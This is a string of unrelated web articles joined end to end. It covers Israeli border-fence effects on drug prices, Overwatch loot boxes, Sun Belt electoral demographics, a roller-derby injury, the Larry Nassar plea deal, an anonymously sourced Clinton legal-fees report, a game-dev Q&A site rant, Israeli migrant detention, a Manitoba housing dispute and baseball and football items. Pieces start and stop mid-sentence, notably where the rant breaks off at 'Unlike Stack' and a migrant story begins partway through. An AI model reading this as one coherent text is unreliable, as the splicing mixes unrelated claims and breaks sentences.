Read more about:ISRAEL-EGYPT BORDER (Reuters) - Israel’s newly fortified Egyptian border has delivered a severe blow to drug smugglers, forcing its hashish and marijuana smokers to deal with a new kind of high - soaring prices.
An Egyptian watch tower is seen close to the construction site of a barrier on the border between Israel and Egypt along Israel's Highway 12, a desert road north of the Red Sea resort of Eilat, in this February 15, 2012 file picture. REUTERS/Baz Ratner/Files
The ravines that snake past rocky red mountains once provided a popular, low-risk route for traffickers to run drugs, women and African migrants into Israel over the southern frontier along Egypt’s Sinai desert.
But with a rise in Islamist militant violence in Sinai, Israel in 2011 accelerated the fortification of the border with a five-meter (16-foot)-high fence, state-of-the art surveillance and special military forces - with a crippling side effect for smugglers.
And as workers weld the few remaining patches of the metal barrier, drug supply in Israel is down and prices are up.
“We’ve hit smuggling hard. Just last week we caught almost 100 kilos of hashish. That’s millions of shekels,” said a senior Israeli military officer in the area.
As far as the army is concerned, any breach of the border could be a potential militant attack by one of the jihadi groups that inhabit the Sinai. That is why soldiers can find themselves dealing with criminal activity together with police.
The Bedouin traffickers have deep knowledge of the millennia-old trade route, the officer said.
“They (the smugglers) know the terrain as well as we do. They collect intelligence on us and observe our movements. They do all that well, but we wait for them at the right spots and we catch them.”
Middle East turmoil has affected the northern drug route into Israel too. Neighboring Lebanon has become increasingly embroiled in the Syrian civil war and violence in the area has complicated cross-border narcotics trafficking.
“LIKE COCAINE”
Though a criminal offence, marijuana and hashish consumption is fairly common in mainstream Israel. According to the United Nations Office on Drugs and Crime, almost nine percent of Israelis use cannabis.
These drug consumers today spend between double to triple what they would have before 2011, when Neighboring Arab states descended into political turbulence and bloodshed.
“I just paid 5,200 shekels ($1,492) for a plate (100 grams) of hash. Two or three years ago it would have cost 2,000 shekels,” complained one Israeli who said he smokes the drug daily. Palestinian hashish consumers in the West Bank have cited the same price jump.
Briefing an Israeli parliamentary committee last week, police said the drug “dry-spell” caused by the fence on the Egyptian border might not last, with the eastern Jordanian frontier possibly turning into an alternative drug route.
In the meantime, to meet market demands, suppliers have been increasingly dealing home-grown “Hydro”, which is marijuana grown on water.
“We see more and more labs operated inside flats, basements, and private homes equipped with automatic ventilation, watering and even fertilization,” police said. “This cannabis yields high-quality drugs in relation to that smuggled over the borders.”
Smokers, it appears, agree.
“All I need is one slim joint of Hydro in the evening and that’s cool, I’m flying,” said a second smoker.
Slideshow (3 Images)
Medicinal marijuana, which is allowed in Israel under certain Health Ministry regulations, has also been seeping into the illegal drug market, according to users and police.
Hydro-marijuana and medicinal marijuana both sell for the same street rate - about 1,000 shekels for 10 grams. The same amount smuggled in from Sinai before the border was fortified would have gone for about a third of the price.
“The high with these drugs is much better than the regular weed that came in from Sinai,” said a third smoker. But scarcity and costliness have dampened the fun. “It’s become like cocaine. You think about each and every gram.” ($1 = 3.49 Israeli shekels)Overwatch’s lootboxes don’t deserve to be part of the controversy, according to Mike Morhaime. Blizzard’s co-founder and CEO believes there’s “nothing wrong” with Overwatch’s system.
Moira’s on her way in Overwatch patch 1.17.
In an interview with GameInformer at BlizzCon, Morhaime says “I think there’s absolutely nothing wrong with crates that give you randomised items. I think that whatever the controversy is, I don’t think Overwatch belongs in that controversy.”
The problems, according to Morhaime, seem to arise from two specific areas. The first of those, as prompted by the interviewer, is a “pay-for-power” system, which Morhaime says is “definitely something we’ve avoided”. The second issue, however, stems from whether or not you can convert the items you get from lootboxes “back into real-world value,” an element which “does not exist in Overwatch loot crates.”
Whether or not you deem Overwatch’s lootboxes acceptable, it can’t be denied they’ve had a significant impact on the industry. Everything from Middle-earth: Shadow of War to Call of Duty: WW2 has come under fire in recent months for the inclusion of microtransactions, and some PlayerUnknown’s Battlegrounds cosmetics were reportedly selling for hundreds of dollars.But despite that steady growth in the minority population, Democrats have seen vanishingly few reasons for optimism in each of these states lately. By almost all measures, the Republican grip on all three has only tightened. Since 1992, the sole Democratic presidential nominee to carry any of these states was Bill Clinton, who narrowly captured Georgia in 1992 and Arizona in 1996. In each case, Clinton managed only a plurality victory made possible because independent candidate Ross Perot splintered the vote. In fact, in all three states, no Democratic presidential nominee since 1984 has amassed more than the 46.9 percent of the vote that President Obama attracted in Georgia in 2008. Since 1992, Democratic presidential nominees have averaged 44.5 percent of the vote in Georgia, 43.7 percent in Arizona, and only 40.4 percent in Texas. In 2012, Obama won a smaller share of the vote in all three than he did in 2008.
The Republican position is, if anything, stronger down the ballot. The GOP holds all six U.S. Senate seats from the three states and in 2014 turned away a well-funded challenge from Democrat Michelle Nunn in Georgia while discouraging a serious opponent to Republican Sen. John Cornyn in Texas. In 2014 as well, Republicans comfortably defeated highly touted Democratic candidates to retain the governorship in all three states. Republicans hold a 5-4 majority in Arizona's U.S. House seats and advantages of greater than 2-to1 in both Texas and Georgia. The GOP also controls both state legislative chambers in each state.
Arizona and Georgia, with their high-flying housing markets, were hit especially hard in the crash of 2008, while Texas weathered the storm better. But all three states are now thriving. Over the past year, Texas has created more jobs than any other state; Georgia ranks fifth and Arizona eighth. Since 2000, population growth in all three states has been propulsive: Arizona has increased its population by 29 percent (third among states), Texas by almost 27 percent (fourth), and Georgia 22 percent (ninth).
Despite all the GOP advantages in these states, the dominant role of minorities in fueling their population growth ensures continuing Democratic interest. What follows is a look at the states' evolving demographic and political dynamics using data exclusively provided to Next America by the States of Change: Demographics and Democracy Project, a joint effort of the American Enterprise Institute and Center for American Progress in collaboration with demographer William Frey of the Brookings Institution. (For more on the project, the data sources used, and the basis of its projections, click here.)
RACE
Texas: No state has a wider gap between demographic possibility and political reality. Even as unstinting racial change has carried Texas to the brink of a majority-minority electorate, Republicans have solidified their hold over the state's politics. The 2014 election that Democrats hoped would demonstrate the awakening power of a Democratic coalition fueled by increasing diversity instead underscored just how far the party must travel to reestablish its competitiveness in a state it ruled unchallenged for a century after the Civil War.Everything is harder when you’re broken. A lot of you probably know this. It took me more than five years in derby to break myself. So I count myself lucky. I went a long time and it could have been worse. I have health insurance, an understanding employer, friends and loved ones willing to help. But that doesn’t mean a setback didn’t take its toll.
Showering, getting dressed, fixing your hair, preparing a meal, washing dishes, driving, typing, writing, tying your shoes, sending a text message, sleeping, cleaning, doing anything involving water, exercising, getting the lid off a prescription bottle, filling out a form of any kind, scraping ice off your car … these are among the practical things that become difficult when you break your hand.
And when things become physically difficult, they become mentally difficult.
Just getting through some days was hard. Doing my job, which is normally not physically taxing, was hard. Anything beyond that and keeping up with
doctor’s appointments was mostly put on hold due to a lack of extra mental energy to spread around. Your life kind of shrinks around the injury.
To put a cherry on top of the shit sundae of just being broken, I missed my first bout with my new team and I got sick a couple of times while recovering from surgery, including a gnarly bout of food poisoning. It appeared 2015 thought it was going to kick my ass. But it won’t. It just won’t.
Things have begun to look up. I started going back to practice. I played in two scrimmages and a bout. I have another bout this weekend. When I came back, I couldn’t do much at first but I had to start skating again. I had to. I just had to.
The thought of not returning to derby had crossed my mind. It’s hard not entertain the idea that the injury is a message from the universe. DON’T DO THIS. STOP HURTING YOURSELF. DANGER. TURN BACK NOW. For a few weeks, all I wanted to do was cocoon in my apartment and watch episodes of “30 Rock.” I imagined myself staying more active in derby when I first learned I needed surgery — NSOing and observing practices to keep connected, maintaining a rigorous exercise routine — but you kind of power down all non-essential areas of life when trying to heal.
But it’s also not entirely true that your life contracts when you’re broken. In some ways it expands. Partially through the discovery of the kindness and generosity of friends and loved ones who help feed you, help you run errands, cheer you up and keep your home from falling into disarray. It also expands through the discovery of your own strength. The strength your body has to physically heal and also the strength you muster to muck through the weeds mentally. Because you need to. You just need to.The Dallas Cowboys have a franchise quarterback in Dak Prescott, and in the immediate aftermath of the team’s preseason win over the Oakland Raiders, Jerry Jones confirmed that Cooper Rush would be joining him on the 53-man roster.
The lone question at the quarterback position was Dak’s previous backup, owner of the ankle that spurred his career in the first place, Kellen Moore. Kellen hasn’t exactly been spectacular when we’ve seen him, but the Cowboys love him. Jerry spoke again on Tuesday, this time all but confirming Kellen’s spot on the team.
On @1053thefan, owner Jerry Jones says it's "very likely" #Cowboys keep all three QBs (Prescott, Rush and Moore) on 53-man roster. — Drew Davison (@drewdavison) August 29, 2017
We talked last week here at BTB about how it would be irresponsible for the Cowboys to keep Kellen Moore on the 53-man roster, assuming you believe Cooper Rush is the better quarterback of the two. Kellen’s presence means that somebody like Noah Brown, Byron Bell, Lewis Neal, or the like will not make the team. That could be costly.
Carrying any three quarterbacks is always an interesting decision for an NFL team, especially one with a young franchise quarterback at the helm. Kellen does provide an intellectual advantage to the team in terms of his abilities in the film room, but many have conjectured that these skills can be put to work with Moore on the practice squad.
Regardless of the ongoing debate as to whether Kellen Moore should make this team’s roster, it seems like it’s about to happen. It will be interesting to see how the Cowboys navigate this among all of their other positions where they’re seemingly also going deep.CLOSE Since September, at least 95 women and girls have said former MSU doctor Larry Nassar sexually assaulted them as early as 1992. At least seven women now say they raised concerns about Nassar starting in the late 1990. Matt Mencarini/Lansing State Journal
Former Michigan State University doctor Larry Nassar is expected to plead guilty to federal child pornography charges. (Photo11: Julia Nagy/Lansing State Journal)
Former Michigan State University doctor Larry Nassar agreed to plead guilty to federal child pornography charges.
Nassar, 53, of Holt, was indicted in December on charges of obtaining and possessing child pornography. Months later, the U.S. Attorney's Office added a third charge that alleged Nassar had images or files destroyed.
He signed an agreement to plead guilty to all three charges, according a copy of the agreement obtained by the Lansing State Journal. The plea deal does not include a sentence agreement.
Each charge carries a sentence of five to 20 years in prison.
The formal plea agreement has not been filed in federal court, and no plea hearing has been scheduled. His next scheduled appearance is for August.
Matt Newburg, one of Nassar's attorneys, declined to comment.
In December, days after Nassar was arrested, an FBI agent testified at a detention hearing that, during a search of Nassar's Holt property, law enforcement found hard drives, some of which were in a trash can outside the home, that contained at least 37,000 images and videos of child pornography.
The agent also testified that videos were found that appeared to show Nassar sexually assaulting young girls in a pool.
Nassar worked at MSU for nearly 20 years. The university fired him on Sept. 20 but on Sept. 16 sent him a letter stating that, based on new sexual assault allegations and his withholding of information about a 2004 police investigation, the university was considering firing him.
On Sept. 19, according to the plea agreement, Nassar took his work laptop to a computer service store and paid $49 to have all the data, including the operating system, permanently deleted.
The plea agreement states that Nassar had the laptop erased and put the hard drives in a trash can "to impede and obstruct" the investigation.
The plea deal includes an agreement that Nassar will register as a sex offender and an agreement that the U.S. Attorney's Office for the Western District of Michigan will not prosecute him for alleged sexual exploitation or attempted sexual exploitation of children, including an incident in 2015 in his swimming pool.
Related: Larry Nassar and a career filled with ‘silenced’ voices
Related: At MSU: Assault, harassment and secrecy
Related: For Nassar accusers, testifying 'takes a lot of courage'
Nassar also worked with USA Gymnastics. He left the organization in fall 2015 with little notice.
The plea agreement will resolve one of four criminal cases against Nassar, leaving three state sexual assault cases that are being prosecuted by the Michigan Attorney General's Office.
Those three cases include 22 first-degree criminal sexual conduct charges, with all but three relating to his former role as a doctor. Nassar faces up to life in prison if convicted on the state charges.
He's also being sued by more than 115 women and girls, all but one of whom say in court records that he sexually assaulted them during medical appointments. Many have said the abuse happened at MSU, at USA Gymnastics events or at Twistars gymnastics club in Dimondale.
MSU, USA Gymnastics and Twistars have all been named as co-defendants in some of the lawsuits.
Here’s a timeline of Nassar’s decades-long career and the allegations against him. This will continue to be updated.
Here's a map of key people and connections in the Nassar cases. This will continue to be updated.
Contact Matt Mencarini at (517) 267-1347 or mmencarini@lsj.com. Follow him on Twitter @MattMencarini.
Read or Share this story: http://on.lsj.com/2u4IyC1UPDATE: Looks like the tests didn't find any new injury and that Lodeiro will be traveling with Uruguay to the Copa America.
***
Even when it comes to players they are hoping to sign, the Seattle Sounders can't seem to catch a break. Nicolas Lodeiro returned from meniscus surgery last week, putting in a strong 45-minute performance in Uruguay's Copa America warmup match.
But the midfielder apparently felt some discomfort during Tuesday's training session. Although he was able to finish the session, he's scheduled to undergo some testing to see if he re-aggravated the injury.
Lodeiro es duda para la #CopaAmérica. Momento de la lesión en la práctica. @InformacionCABJ. Foto: Francisco Flores pic.twitter.com/d3EYSWMuLV — Urugol (@urugolcom) May 31, 2016
Lodeiro originally injured his knee at the end of April and was expected to be out as long as three months. But he was able to return to training after just two weeks, prompting Boca Juniors to name him to their Copa Libertadores team and Uruguay to place him on the Copa America roster. Lodeiro ended up playing less than a month after the surgery.
If Lodeiro has re-aggravated his injury, that would certainly end his participation in Copa America and likely the Copa Libertadores. It could also put his potential transfer into jeopardy, as the Sounders -- or anyone else -- would probably be very wary of adding a player currently dealing with a knee injury.Pittsburgh has lured a lot of spectacular acts this year. It seems that the concert list is filled with cool eclectic new acts and road tested proven rockers. Last night at Stage AE, Pittsburgh was treated to sonic experience like no other I’ve seen. The night opened with fairly new rockers to the scene, NYC’s The London Souls (see review here). Followed by heavy hitting southern blues trailblazers The Tedeschi Trucks Band and The Black Crowes.
TTB kicked off the celebration by filling the stage with an 11 piece band which included a horn section. Fronted by the husband wife team of Tedeschi and Trucks. Susan Tedeschi may have one of the most soulful and beautiful voices in the business today. She is a relaxed performer with all the tools to wield a sweet sounding guitar to accompany her aforementioned singing. Derek Trucks delivers the Sonny Boy Williamson slide blues style better than anybody in the business. I guess we’ll find out when Warren Haynes takes the same stage with Government Mule September 18th.
“Midnight In Harlem” was beautifully performed and Susan T added a little rasp to the honey. She continued to get better as she went on. The crowd got amped when Trucks started a call and answer run around with the horn section. He may have even smiled as he is not one to show much emotion. It all comes from his hands and trusty Gibson SG.
Georgia’s prodigal sons, The Black Crowes came out of a puff of smoke with old staple numbers from “Shake Your Money Maker” their platinum debut record. A hard hitting “Jealous Again” and “Thick and Thin” woke the crowd up from their soft southern nap and had people scurrying back from the beer lines. Drummer Steve Gorman drove TBC hard through the first half of the set which sounded like viral Humble Pie live at The Fillmore.
By the time they got to “Soul Singing” they were ready to let it out and take everyone on a hippy infused Dead-trip. Jackie Greene brings a stinging psychedelic flavor to TBC. He and Rich Robinson wove a groovy sound that sent Chris Robinson to new heights. His voice was masterful on this night as he danced and plodded alongside bassist Sven Pipien. There only break was an acoustic version of “She Talks To Angels” with Jackie Greene on the mandolin. The Crowes then opened the pen to a string of hits which included “Thorn In My Pride”, “Sting Me” and “Remedy”. Somewhere in the magic, keyboardist Adam MacDougall had some spectacular solos and fills that had the crowd in dance mode. The evening’s next highlight was the “Hard To Handle- Hush” medley which had the whole place spinning like a scene at a pagan festival.
The encore was a special moment. The sound was spot on and only could be improved by being joined by Tedeschi and Trucks. The southern blues rock all-stars crushed a cool version of Joe Tex’s “Show Me” (see vid below of the tune) with Trucks standing side by side with TBC primary songwriter Rich Robinson. Rich and Derek were having a ball trading licks and glances of approval. Susan T and Chris Robinson harmonized through chorus sections and brought the soul to new stratospheric levels. The show closed with a blinder of a cut, “Turn On Your Lovelight” by Bob Bland where the band twisted and turned with ferocious grooves and syncopated solos.
The post show chatter through the parking lot was all the same. People smiling and shaking their heads in awe of the performance shared at Stage AE. The double bill of TTB and TBC prove to be one of the best of the summer. We can only hope they return.
Set List
Rob Eldridge
PMM> Editor in Chief > Writer > Photographer
AdvertisementsThe Clintons have paid “hundreds of thousands of dollars” to cover the legal bills for a Bill Clinton aide who sits at the center of the FBI’s investigation into Hillary Clinton’s private email server.
That’s according to Washington Times opinion editor Monica Crowley who reports in a new column that a knowledgeable source tells her that the Clintons are covering legal expenses for Justin Cooper, a longtime aide to the former president.
Such an arrangement would raise questions over whether the Clintons are paying Cooper’s bills in order to ensure that they have some oversight of his interactions with federal investigators. It would also raise questions about whether the Clintons are paying other aides’ legal costs.
Cooper registered clintonemail.com in his own name on Jan. 13, 2009. That email domain is the same one Hillary Clinton exclusively used to send work-related emails as secretary of state. Emails sent on that account were stored on a server that the Clintons kept at their personal residence in New York.
According to Crowley, Cooper’s role in helping set up Clinton’s mysterious email arrangement has put him in the FBI’s cross hairs. She reports:
A source familiar with Mr. Cooper’s arrangement with the Clintons tells me that they have paid his legal fees associated with the FBI investigation, amounting to “hundreds of thousands of dollars.” They aren’t paying those costs out of a sense of decency. They’re paying them because he knows the “why” of the server, which may very well have been to make it easier for the foundation to hustle big donations. One wonders what, if anything, Mr. Cooper is telling the FBI — and whether the whole sordid Clinton house of cards will be left standing.
The FBI seized Clinton’s server last year after it was determined that some of her emails contained classified information. And now, investigators are reportedly poised to interview aides who have knowledge about the system.
And according to a Fox News report from earlier this year, the FBI’s investigation has expanded to a public corruption probe which centers on the intersection of the Clinton Foundation and State Department.
Cooper could also be embroiled in that aspect of the investigation, according to Crowley, who also works as a Fox News analyst.
The little-known Cooper has worked for the Clinton Foundation and Teneo Holdings, a consulting firm with close ties to the Clintons. Along with Doug Band — Bill Clinton’s former “body man,” a former counselor to the Clinton Foundation, and a co-founder of Teneo — Cooper kept in contact with Clinton’s State Department aides, emails from Clinton’s account show. One of those aides is Huma Abedin, who served as Clinton’s deputy chief of staff while also working for Teneo.
The overlap has raised questions over whether the Clinton Foundation and Teneo were using access to the State Department to help raise money and attract clients.
The possibility that the Clintons are paying legal bills for aides embroiled in the FBI investigation has already been broached by Congress.
Senate Judiciary Committee chairman Chuck Grassley has asked lawyers for the Clintons and Abedin — as well as for former Clinton aides Cheryl Mills, Philippe Reines, and Jake Sullivan — if they have entered any “joint defense agreements.”
The Iowa Republican has asserted that such arrangements could pose conflicts of interest because they would help ensure that the Clinton insiders refrained from providing evidence that could be detrimental to the Clintons.
The lawyers have refused to say if those arrangements have been made.
Grassley has also asked whether the Clintons are covering legal costs for Bryan Pagliano, the former information technology specialist who set up and managed Clinton’s private email server. But Pagliano’s lawyer, Mark MacDougall of the Clinton-connected law firm Akin Gump, has also refused to say if such an arrangement is in place. Pagliano has since entered an immunity deal with the FBI in exchange for his cooperation in the investigation.
Some evidence has emerged suggesting that the Clintons are paying legal bills for those embroiled in the email fiasco.
In October it was reported that the Denver-based IT company that handled Clinton’s server after she left the State Department had submitted an invoice to Clinton seeking payment for legal and public relations expenses. (RELATED: Senator Wonders If Hillary Is Covering Legal Expenses For Tech Firm That Managed Email Server)
The company, Platte River Networks, had control of Clinton’s server when it was turned over to the FBI. It billed Clinton’s accountant, Marcum LLP., nearly $50,000 for legal and PR expenses.
The Clinton campaign and the Clinton Foundation did not respond to The Daily Caller’s requests for comment.
Follow Chuck on TwitterI’ve given that site two serious attempts – I had nothing to gain from it, I was just trying to share best practice and info from within the commercial side of the industry. I wanted it to work. StackOverflow (which it’s cloned from) has been a huge success, and the nearest equivalent for games industry – the GameDev.net forums – is very weak by comparison; lots of people doing their best, but often dominated by those who have time, rather than those who know what they’re talking about. And very few professional members.
Attempt 2 has crashed and burned. And there I’d walk away silently. But … while I was there, I noticed how much misinformation flows around that site, and I can’t keep quiet about that. It’s doubly depressing that it trades off the reputation of StackOverflow – a site that works many times better, and has a many times higher signal:noise ratio.
Here’s a favour to anyone tempted by that site: don’t. If you need answers to the questions you might ask there, there are much better places to get them (if this is tl;dr – just scroll to the bottom).
What’s so bad?
Bad enough that:
many (more than half of the 50+ I read in the last week) of the answers are significantly or fully wrong, but casually upvoted or selected as correct (seems too few people on the site for the voting to “fix” this problem naturally) most of the community has no idea what they’re talking about (Vague questions, vaguer answers, and STUPID SHIT like “I was talking with one of my professor and we couldn’t figure out why all game engines (that I know of) convert to triangles.”. Really? You’re that dumb / lazy? Incidentally: “professor” of what? If it’s a course involving programming, that professor is a fraud. Personally, I think it’s a homework question. Should have been shutdown immediately.) many questions (around 20% of those I’ve read) would be solved trivially by typing them directly into google and clicking the first link
Worse that:
without lots of reputation-whoring, you are “not allowed” to comment on a wrong answer (NB: I get the impression that the rep-limit for this is much higher than on SO; certainly, it’s unrealistically high). Your only option is to write a separate “answer” that explains why the first is wrong. This is sadly common on the site. Readers have to read EVERY answer (including the ones at bottom of screen) just to find the corrections to the “top-most” answers without even MORE reputation-whoring, you are “not allowed to answer more than 1 question every 3 minutes”. You’re a professional game developer, right? You’ve been doing this stuff for years? You see a couple of related questions you can answer quickly (stackexchange explicitly GIVES YOU the list of “related questions” and invites you to answer them) … well, so far as this site is concerned: “Oh no you don’t!”
Ask any game designer: the rep-limits on that side are somewhat FUBAR. They positively encourage people to reduce the quality of information / organization. Any sane designer would have *at the very least*, said:
“If this site is new, and small, with a small community, you need to set all limits low to start with – there’s just not a large enough pool of campable spawns / experience points (*ahem* reputation sources) to support those limits from day one”
Anyway. I tried it. It was disappointing. Unlike Stack |
the state, just as these organizations criticize every one of the Western countries because of the way they deal with illegal infiltration,” Gideon Saar, Israel’s interior minister, told Israel Radio. “As a country, we first of all act according to the law and with every step we act in consultation with the attorney general and according to his opinion.”
The Interior Ministry said the Human Rights Watch report was an attempt to influence Israel’s Supreme Court, which is expected to rule soon on a petition against a recent amendment to Israel’s law guiding illegal entry to the country.
Israel’s perception of the African migrants, whom it routinely refers to as “infiltrators” or economic migrants, sharply differs from that held by many nongovernmental organizations and refugee advocacy groups, who view them as asylum seekers fleeing conflict zones or persecution.
“Israel does not forcibly deport these people,” said Mark Regev, a spokesman for the Israeli prime minister’s office. “They have the possibility to be in Israel safely and to have all their humanitarian needs met.”
He added, “The overwhelming majority of these people are illegal job seekers and are not coming here for refugee reasons.”
Israeli officials say the government offers refugees willing to leave $3,500.
Walpurga Englbrecht, the representative for the United Nations high commissioner for refugees in Israel, said Israel might be breaching international conventions that prohibit the forcible return of refugees or asylum seekers to an environment in which they are at risk of persecution or degrading treatment.
The conditions in the Holot facility in the Negev desert, she added, “restrict the freedom of movement of Eritrean and Sudanese residents to a substantial degree, not necessarily in line with international human rights law.”
“Under these circumstances,” she added, “it is reasonable to expect that many would opt for return rather than stay in the facility for an unspecified period of time.”
Alarmed by an influx of about 60,000 Africans since 2005, the vast majority of them Sudanese or Eritreans who crossed the border from Egypt, and after protests by the residents of south Tel Aviv, where the new arrivals were concentrated, Israel announced in 2012 that it was stepping up efforts to deter, detain and deport the migrants. Measures that include the construction of a steel barrier along Israel’s border with Egypt have since cut the flow of African migrants to almost zero.
Some Israelis have argued that their country, which offers refuge to Jews, should be sensitive to others fleeing war, but government ministers have argued that asylum seekers threaten the Jewish character and social fiber of Israel, a small country of eight million.
Many of the migrants are told to report to Holot, the desert facility, when they renew their temporary residency permits, and those who fail to do so risk imprisonment.
There are currently about 1,620 Sudanese and Eritreans at the desert facility, and they are required to be present for roll call three times a day and are locked in at night. Several hundred more migrants are detained in the nearby Saharonim prison, having been arrested after they walked out of Holot this summer to protest conditions there.
Israel’s Interior Ministry did not provide a detailed breakdown of the nationality or destination of those who had left, but its figures show a steep rise in departures so far this year — 5,388 people compared with 2,612 in 2013.
Human Rights Watch also criticized Israel for what it said was a low rate of examining refugee applications and granting refugee status. Israel has recognized three Eritreans as refugees and no Sudanese, according to the United Nations refugee agency.
One Eritrean asylum seeker, in Israel since 2008, described in an interview how he was taken out of school at the age of 17 to serve in the Eritrean Army. He evaded military service for a time, but was ultimately caught and sent to prison. Speaking on the condition of anonymity for fear of drawing the unwelcome attention of the Israeli authorities, he said he escaped and then left Eritrea at the age of 20, and arrived in Israel after spending time at a camp in Ethiopia.
He said his temporary residency permit in Israel, which allowed him to work, had run out. He is afraid to apply for a new one, he said, assuming that he will be sent to Holot.
He said he was also afraid to apply for refugee status, preferring to remain below the radar of the Israeli authorities. A few months ago, he was offered about $3,000 by the Israeli authorities to move to Uganda or Rwanda. “I told them no,” he said. “I would prefer to pay them the money and stay here and have my life.”The Yankees have signed Freddy Garcia to a one-year deal, the club announced today. Garcia, a Peter E. Greenberg & Associates client, will obtain a guarantee of $4MM plus incentives.
Garcia, 35, signed a minor league deal in February and delivered a surprisingly strong 3.62 ERA in 146 2/3 innings. The 13-year veteran posted 5.9 K/9, 2.8 BB/9 and a 36.4% ground ball rate for the Yankees, spending part of August on the disabled list with an index finger injury.
Though the Yankees have locked up C.C. Sabathia, their search for starting pitching continues. Sabathia and Garcia will join A.J. Burnett, Ivan Nova and Phil Hughes in the team's projected 2012 rotation.
David Waldstein of the New York Times tweeted the sides were nearing agreement on November 23. ESPN.com's Buster Olney was the first to report the two sides had agreed to terms on November 24, with Jon Heyman of MLB Network (on Twitter) adding the contract details.CTV Winnipeg
Forty-nine condemned homes on a Manitoba First Nation hit by flooding in 2011 may have been sold off and moved, said Selkirk-Interlake MP James Bezan Thursday.
"These are very serious allegations," said Bezan in a statement. The federal government had previously paid nearly $2 million to have the condemned homes on Lake St. Martin First Nation destroyed.
On Wednesday, CTV News reported one resident returned earlier in April to find his home had been ripped from its foundation.
He said he later learned it had been sold and shipped to a community nearly 300 kilometres away from Lake St. Martin, with his belongings still inside the house.
“There were 133 condemned homes, approximately 80 homes that have been demolished, leaving possibly 49 homes sold,” said Bezan.
“The $2 million from the Aboriginal Affairs and Northern Development (AANDC) contract with Lake St. Martin First Nation was to demolish the homes because they were contaminated, not to resell them,” he said.
Bezan said an investigation has been launched.
“Since the $2 million has not yet been fully transferred to the band, AANDC officials are taking the immediate step of suspending any further transfers under the contract until the allegations are investigated,” he said.
“We will forward any evidence of criminal wrongdoing to the appropriate policing authority,” said Bezan.
CTV News has learned most of the $2 million from the federal government had already been paid out.
"Certainly sounds like there may be something untoward happening,” said Colin Craig from the Canadian Taxpayers Federation.
The federation said both the federal government and the chief of Lake St. Martin First Nation need to be held accountable.
"The feds need to explain how they came up with the figure of $2 million - what due diligence they did - and the band needs to explain how on earth they're selling people's homes while their belongings are still in it and what's happening with that money,” said Craig.
Flood evacuee Alex Marsden and his wife were forced out of their Lake St. Martin home by the flooding three years ago.
He questions the apparent sales of the condemned homes.
"Where is all that money going?” he asked.
Manitoba's top chief says people should not rush to judgment until all the facts come out.
"If a unit is still viable and there is a market out there for it and the community has to make sound business decisions - I think we have to give the benefit of the doubt at times to the decision makers,” said Derek Nepinak, grand chief of the Assembly of Manitoba Chiefs.
Lake St. Martin Chief Adrian Sinclair insists he hasn’t done anything wrong and that he has the legal right to sell damaged homes for money – funds he said are being used to clean up the community.
- with a report from Jeff KeelePhoto by Tommy Gilligan-USA TODAY Sports
The Baltimore Orioles were not widely predicted to be playing first-place baseball in the year 2016. In and of itself, that is not an odd opinion; outside of 2012 and 2014, the last time the Orioles finished a season fewer than 12 games back in the American League East was 1997. You do have to give some points for recency, and the Orioles weren't supposed to be very good in the last few seasons they made the playoffs, either. As far as punditry and prediction go, the AL East has been the Boston Red Sox and the Tampa Bay Rays' show for the past half-decade, with the New York Yankees in a recurring "Special Guest Appearance" role.
This might undersell the weirdness of what has happened this year: not only were the Orioles not supposed to take first place—they were supposed to be actively bad. When I appeared on Baseball Prospectus's Effectively Wild podcast in February and pegged the Orioles as a roughly.500 ball club, Ben and Craig were dubious; they had Baltimore winning 60-something games and finishing near the bottom of the division. They were hardly alone in holding that outlook.
Read More: Watching The Boston Red Sox, While They're Still Weird
We were both wrong, of course, or at least have been so far. On June 30th, the Orioles are 47-30 and on pace to win some 98 games en route to their second AL East championship in four years.
"On pace" are two of the less useful words in baseball, and they certainly don't indicate that's how the season will actually end, but it was never even supposed to get this far. Breaking camp, the Orioles had two fatal flaws in their roster. The first was the outfield situation. Spring training showed the Orioles' top position-player acquisition, Korean outfielder Hyun-Soo Kim, to be so completely lost at the plate that Baltimore tried sending him back across the Pacific. The O's second biggest position-player acquisition, outfielder Mark Trumbo, looked so hapless out there as to make it nearly impossible for his loud but mostly tepid bat to undo the damage.
What happened once the season began, of course, was that the veteran Kim was perfectly fine; he is currently leading the team in batting average (.339) and on-base percentage (.431, a mark no one else on the roster comes particularly close to matching). More surprisingly, Mark Trumbo has announced himself as the second coming of Nelson Cruz, leading the American League with 23 home runs going into the O's June 30th game against the Seattle Mariners. Combine that with a well-timed hot start to the year from Rule 5 pick Joey Rickard, and the outfield has been a potent part of an offense that also has got MVP production from infielder Manny Machado and much better than expected hitting from catcher Matt Wieters and second baseman Jonathan Schoop. Combine that with Chris Davis making good on the first leg of the massive deal that will keep him in Baltimore for seven more years, and it's easy to see why the O's are tied for the second best record in the AL, and for the most home runs ever hit by a team in the month of June (55).
Really Trumbo'd the hell out of that one. Photo by Brad Rempel-USA TODAY Sports
The second fatal flaw was the one most commenters expected would sink the club: the starting rotation. While the Orioles have put together a great bullpen over the past few years, and then made sure it stayed together by re-signing Darren O'Day in the offseason, their starting rotation for all of recent history has been a make-work slapdash of doomed reclamation projects, underachieving prospects, and rentals. The only real change to that over the past two or three seasons has been the addition of risky FA signings Ubaldo Jimenez and Yovani Gallardo to the mix.
And unlike the outfield, which surprised everyone, the rotation has been, well...
Yes, it has been quite bad. Chris Tillman's 3.52 ERA (126 ERA+) and 94.2 IP decisively lead all the other starters, reflecting the fact that when you pitch poorly, you don't go deep into games, and therefore throw fewer innings. Kevin Gausman has shown flashes of realizing his top-tier potential at times, and Tyler Wilson has been a serviceable back-end starter in outcomes, if not necessarily in ability. And that is all the good news there is about the Orioles rotation.
The Gallardo and Jimenez signings, both of which were made at the very tail end of free agency after every other team had passed on the pitchers, and both of which required the surrender of a draft pick, have both been unqualified disasters. Mike Wright isn't a credible Major League starter in the long term, and honestly, Wilson may not be, either. There are no reinforcements coming from the minor leagues, and the only pitcher of note who could ride in off the DL to save the rotation is Vance Worley, who already lost his job in the rotation once due to ineffectiveness, so let's wrap this paragraph up.
Orioles pitchers lead the league in carefully inspecting new baseballs. Photo by Thomas B. Shea-USA TODAY Sports
Other than the injured Worley and the demoted Wright, the most palatable internal options are David Hale, who was recently claimed off waivers from the Colorado Rockies, and Cuban signing Ariel Miranda, who has a 4.40 ERA in 77.2 innings so far this year in AAA. Neither option is particularly agreeable to the stomach, which is why the Orioles might take the upcoming All-Star Break as an opportunity to further stretch out reliever and former top prospect Dylan Bundy to join the rotation when games resume. Ideally, Baltimore would send him down to get there, but when Baltimore brought him up to pitch an inning for the fans in 2012, they started his option-year clock, and now cannot send him to the minors without him having to clear waivers first.
